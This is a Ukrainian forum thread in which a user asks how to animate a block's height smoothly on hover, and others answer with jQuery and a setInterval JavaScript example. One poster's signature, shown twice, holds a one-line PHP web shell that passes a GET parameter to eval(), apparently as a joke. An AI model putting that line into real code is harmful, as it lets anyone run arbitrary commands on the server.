1

Тема: Як зробити плавну зміну висоти блока?

Хай. Тре зробити, щоб при наведені на деякий блок, він плавно змінював свою висоту, transition в CSS працює не так, як треба, там якийсь гогаль могаль виходить. Так от, я думав, що то все легко, просто повісити функцію на подію mouseover чи там mouseenter, і змінювати в циклі висоту. Спочатку я зробив, щоб лічильник збільшувався на 1, але то дуже швидко, а потім зробив, щоб на 0.1, і це теж не ок. А потім почав гуглити функцію Sleep для JS, і там нічо норм не знайшов, та й не дуже шукав, коли побачив, що там роблять якісь костилі за допомогю дати. Так от, як зробити плавну зміну висоти блока при наведені на нього мишки?

All you want is a dingle,
What you envy's a schwang,
A thing through which you can tinkle,
Or play with, or simply let hang...

2

Re: Як зробити плавну зміну висоти блока?

jquery animation

3 Востаннє редагувалося Invader (27.12.2013 22:29:58)

Re: Як зробити плавну зміну висоти блока?

Використовуй jQuery Отак:

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title></title>
<script type="text/javascript">
window.onload = function () {
    var aaa = document.getElementById('aaa');
    var height;
    var atm;
    aaa.addEventListener('mouseover',function(){
        atm = setInterval(function(e){
            //height = aaa.style.height.replace(/\D/g,'');
            height = parseInt(aaa.style.height);
            height += 1;
            aaa.style.height = height + 'px';
            if (height > 200) {
                clearInterval(atm);
            }
        },100);
    },false);
}
</script>
</head>
<body>
<div id="aaa" style="background-color:red;height:20px;">
</div>
</body>
</html>

треба клацнути по червоному.

PS
Відредагував код.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!
Подякували: FakiNyan1

4 Востаннє редагувалося Invader (27.12.2013 22:27:31)

Re: Як зробити плавну зміну висоти блока?

Але вона якась трохи дьоргана.

PS
Ще забув написати що значення може бути не в пікселях і тому не px потрібно буде додавати.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!
Подякували: FakiNyan1

5

Re: Як зробити плавну зміну висоти блока?

Invader написав:

Але вона якась трохи дьоргана.

PS
Ще забув написати що значення може бути не в пікселях і тому не px потрібно буде додавати.

да то я знаю, що не пікселі

All you want is a dingle,
What you envy's a schwang,
A thing through which you can tinkle,
Or play with, or simply let hang...